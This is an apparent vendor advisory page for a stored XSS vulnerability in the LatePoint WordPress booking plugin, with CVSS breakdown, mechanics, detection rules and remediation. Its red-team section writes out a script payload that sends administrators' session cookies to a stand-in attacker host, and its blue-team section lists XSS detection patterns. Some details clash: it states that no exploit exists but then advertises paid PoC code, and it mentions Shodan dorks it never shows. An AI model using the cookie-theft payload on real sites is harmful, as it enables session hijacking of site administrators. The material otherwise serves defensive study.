CVE-2025-30836
Executive Summary
CVE-2025-30836 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the LatePoint WordPress booking plugin, versions through 5.1.6. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with low privileges to inject malicious scripts that are stored on the server and executed in the browsers of other users, including administrators. This can lead to session hijacking, credential theft, or defacement. As a WordPress plugin issue, the vulnerability is specific to the LatePoint plugin and not the underlying web server (Apache/Nginx). No public exploit code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
LatePoint is a commercial WordPress plugin distributed via the WordPress plugin repository and its own website. The vulnerability affects all installations of the plugin up to version 5.1.6. Since no patch is available, users are advised to disable the plugin until an update is released. The risk is amplified in shared hosting environments where multiple WordPress sites may be compromised through a single vulnerable plugin.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs a subscriber-level account or higher.
- User Interaction (UI): Required (R) – Victim must click or view the malicious content.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited data modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature can lead to privilege escalation if an administrator views the injected content.
Deep Dive & Mechanics
The vulnerability exists in the LatePoint plugin’s input handling for fields such as customer names, service descriptions, or custom booking forms. The plugin fails to sanitize or escape user-supplied data before storing it in the database and later rendering it in the admin dashboard or frontend booking pages. An attacker with a subscriber account can inject JavaScript payloads into these fields. When an administrator or other user views the affected page, the script executes in their browser context, potentially allowing the attacker to perform actions on behalf of the victim, steal session cookies, or redirect users to malicious sites.
The attack flow:
- Attacker logs in with low privileges (e.g., subscriber).
- Attacker navigates to a vulnerable input field (e.g., booking notes, customer name).
- Attacker submits a payload like
<script>alert('XSS')</script>. - The payload is stored in the WordPress database.
- When an admin views the booking details, the script executes.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be in the plugin’s output functions that directly echo user input without escaping. A typical vulnerable pattern in WordPress plugins is:
// Vulnerable code (LatePoint <= 5.1.6)
echo '<div class="customer-name">' . $customer_name . '</div>';
A patched version would use WordPress’s escaping functions:
// Patched code (hypothetical)
echo '<div class="customer-name">' . esc_html( $customer_name ) . '</div>';
The esc_html() function converts special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with LatePoint plugin version <= 5.1.6.
- A low-privilege user account (e.g., subscriber).
Steps:
- Log in as the low-privilege user.
- Navigate to a page with a vulnerable input field (e.g., booking form).
- Inject a payload into the field, such as:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Submit the form.
- Wait for an administrator to view the booking details.
- The admin’s session cookie is sent to the attacker’s server.
Note: No public exploit code is available; the above is a conceptual example.
Blue Team
Detection:
- Monitor for unusual input patterns in booking fields (e.g.,
<script>,onerror=,javascript:). - Use Web Application Firewall (WAF) rules to block common XSS payloads.
- Review server logs for requests containing script tags in POST data.
Hunting:
- Search the WordPress database for stored XSS payloads:
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'; - Check for unexpected admin user creation or privilege escalation.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags in POST parameters to/wp-admin/admin-ajax.phpor booking endpoints. - Host: Presence of JavaScript payloads in the
wp_postmetaorwp_optionstables. - File: Modified plugin files (though unlikely for stored XSS).
- Logs: Repeated 404 errors from non-existent admin pages (if attacker probes for vulnerabilities).
Detection Engineering
YARA Rule
rule LatePoint_Stored_XSS {
meta:
description = "Detects stored XSS payloads in LatePoint plugin data"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-30836"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: LatePoint Stored XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential stored XSS attempts against LatePoint plugin
author: Valters IT
date: 2025-04-17
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/admin-ajax.php'
- '/latepoint/'
cs-method: 'POST'
cs-uri-query|contains:
- '<script'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in booking notes (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-30836 LatePoint Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LatePoint plugin until a patched version is released.
- Apply a Web Application Firewall (WAF) rule to block common XSS patterns.
- Review user accounts for unauthorized privilege escalation.
Long-term Fix:
- The vendor must release a patched version that properly escapes all user inputs using
esc_html(),esc_attr(), orwp_kses(). - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Workaround:
- Use a security plugin like Wordfence to add virtual patching for XSS.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.